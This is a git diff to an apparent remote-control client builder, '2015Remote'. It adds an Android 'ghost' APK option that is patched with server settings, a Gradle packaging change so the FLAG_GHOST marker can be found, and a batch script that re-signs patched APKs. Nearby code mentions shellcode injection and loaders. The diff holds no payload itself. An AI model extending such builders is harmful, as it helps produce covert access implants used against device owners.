diff --git a/android/app/build.gradle b/android/app/build.gradle index 1aaab41..50c4bb4 100644 --- a/android/app/build.gradle +++ b/android/app/build.gradle @@ -60,6 +60,13 @@ android { } } + packagingOptions { + jniLibs { + // .so 文件不压缩(ZIP_STORED),使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST + useLegacyPackaging false + } + } + compileOptions { sourceCompatibility JavaVersion.VERSION_17 targetCompatibility JavaVersion.VERSION_17 diff --git a/android/app/src/main/AndroidManifest.xml b/android/app/src/main/AndroidManifest.xml index efe62b5..d5b96cb 100644 --- a/android/app/src/main/AndroidManifest.xml +++ b/android/app/src/main/AndroidManifest.xml @@ -8,6 +8,7 @@ +setlocal + +if "%~1"=="" ( + echo Usage: sign_apk.bat ^ + exit /b 1 +) + +set "APK=%~f1" +if not exist "%APK%" ( + echo ERROR: APK not found: %APK% + exit /b 1 +) + +set "KEYSTORE=%~dp0yama-release.jks" +if not exist "%KEYSTORE%" ( + echo ERROR: Keystore not found: %KEYSTORE% + exit /b 1 +) + +:: --- Locate java.exe --- +set "JAVA_EXE=" + +where java >nul 2>&1 +if not errorlevel 1 set "JAVA_EXE=java" + +if not defined JAVA_EXE if defined JAVA_HOME ( + if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe" +) + +if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" ( + set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" +) +if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" ( + set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" +) +if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" ( + set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" +) +if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" ( + set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" +) + +if not defined JAVA_EXE ( + echo ERROR: java.exe not found. Install JDK or Android Studio. + exit /b 1 +) + +:: --- Locate Android SDK --- +set "SDK_DIR=" +if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%" +if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%" +if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk" + +if not defined SDK_DIR ( + echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT. + exit /b 1 +) + +:: --- Find latest apksigner.jar (ascending sort, last match = newest) --- +set "SIGNER_JAR=" +set "BT_VER=" +for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do ( + if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" ( + set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" + set "BT_VER=%%D" + ) + if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" ( + set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar" + set "BT_VER=%%D" + ) +) + +if not defined SIGNER_JAR ( + echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools + exit /b 1 +) + +echo. +echo APK : %APK% +echo Keystore: %KEYSTORE% +echo Java : %JAVA_EXE% +echo JAR : %SIGNER_JAR% [build-tools %BT_VER%] +echo. + +set "PWD=%YAMA_PWD%" +if not defined PWD set /p "PWD=Keystore password: " +if not defined PWD ( + echo ERROR: No password provided. + exit /b 1 +) +echo. + +echo Signing... +"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%" +if errorlevel 1 ( + echo ERROR: Signing failed. + exit /b 1 +) + +echo Verifying... +"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%" +if errorlevel 1 ( + echo ERROR: Verification failed. + exit /b 1 +) + +echo. +echo Done: %APK% +endlocal diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 79b49c8..8227531 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 42911d4..871a9fe 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -234,6 +234,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 8518f4a..6b628ef 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -228,6 +228,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 0799d90..11c6cfb 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -29,6 +29,7 @@ enum Index { IndexTestRunMsc, IndexLinuxGhost, IndexMacGhost, + IndexAndroidGhost, OTHER_ITEM }; @@ -160,7 +161,8 @@ namespace ResFileName { const char* GHOST_X86 = "ghost_x86.exe"; const char* GHOST_X64 = "ghost_x64.exe"; const char* GHOST_LINUX = "ghost_linux"; - const char* GHOST_MACOS = "ghost_macos"; // 预留 + const char* GHOST_MACOS = "ghost_macos"; + const char* GHOST_ANDROID = "ghost_android"; // TestRun 加载器 const char* TESTRUN_X86 = "testrun_x86.dll"; const char* TESTRUN_X64 = "testrun_x64.dll"; @@ -418,7 +420,7 @@ void CBuildDlg::OnBnClickedOk() MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING); return; } - if (index == IndexLinuxGhost || index == IndexMacGhost) { + if (index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost) { m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE); m_SliderClientSize.SetPos(0); } @@ -485,6 +487,12 @@ void CBuildDlg::OnBnClickedOk() typ = CLIENT_TYPE_MACOS; szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS); break; + case IndexAndroidGhost: { + file = "ghost.apk"; + typ = CLIENT_TYPE_ANDROID; + szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID); + break; + } case OTHER_ITEM: { targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir); m_OtherItem.GetWindowTextA(file); @@ -719,6 +727,14 @@ void CBuildDlg::OnBnClickedOk() successMsg += "\r\n"; successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost"; } + // Android APK 被 patch 后签名失效,必须用 apksigner 重签才能安装。 + if (typ == CLIENT_TYPE_ANDROID) { + successMsg += "\r\n\r\n"; + successMsg += _TR("提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。"); + successMsg += "\r\n"; + successMsg += _TR("重签命令 (需 Android SDK build-tools):"); + successMsg += "\r\napksigner sign --ks yama-release.jks --ks-pass env:YAMA_PWD ghost.apk"; + } MessageBoxL(successMsg, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(szBuffer); @@ -784,6 +800,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务"); m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64"); m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS"); + m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android"); m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); @@ -912,7 +929,7 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable) void CBuildDlg::OnCbnSelchangeComboExe() { auto n = m_ComboExe.GetCurSel(); - EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost)); + EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost)); if (n == OTHER_ITEM) { CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|")); if (!name.IsEmpty()) { diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 7f8d28f..80b5341 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1943,3 +1943,5 @@ FRPC Զ Ч=Invalid Input Ȩ %s ¼Ϊ %d\n¼֤Ч=Sub-license limit for %s has been set to %d.\nTakes effect when the sub-client re-authenticates. Ȩ %s ¼\n¼֤Ч=Sub-license limit for %s has been cleared.\nTakes effect when the sub-client re-authenticates. +ʾ: APK ѱ޸ģԭǩʧЧҪǩܰװ豸=Note: APK has been patched and the original signature is invalid. Re-sign before installing. +ǩ ( Android SDK build-tools):=Re-sign command (requires Android SDK build-tools): diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index a2c254b..46fc620 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1934,3 +1934,5 @@ FRPC Զ Ч=Ч Ȩ %s ¼Ϊ %d\n¼֤Ч=Ȩ %s ¼Ϊ %d\n¼֤Ч Ȩ %s ¼\n¼֤Ч=Ȩ %s ¼\n¼֤Ч +ʾ: APK ѱ޸ģԭǩʧЧҪǩܰװ豸=ʾ: APK ѱ޸ģԭʧЧҪغܰbbá +ǩ ( Android SDK build-tools):=غ ( Android SDK build-tools): diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 4dd15ee..5c1dfb5 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -269,6 +269,8 @@ #define IDB_BITMAP_COPY 389 #define IDB_BITMAP10 390 #define IDB_BITMAP_ACTIVE_WND 390 +#define IDR_BINARY8 391 +#define IDR_ANDROID_GHOST 391 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -991,7 +993,6 @@ #define ID_PARAM_THUMBNAIL_PREVIEW 33050 #define ID_LICENSE_AUTO_FRP 33051 #define ID_LICENSE_REVOKE_FRP 33052 -#define ID_LICENSE_SET_LIMIT 33068 #define ID_Menu 33053 #define ID_33054 33054 #define ID_MENU_COMPRESS 33055 @@ -1007,13 +1008,14 @@ #define ID_WLIST_VIEW 33065 #define ID_ONLINE_33066 33066 #define ID_ONLINE_ACTIVE_WND 33067 +#define ID_LICENSE_SET_LIMIT 33068 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 391 +#define _APS_NEXT_RESOURCE_VALUE 392 #define _APS_NEXT_COMMAND_VALUE 33069 #define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105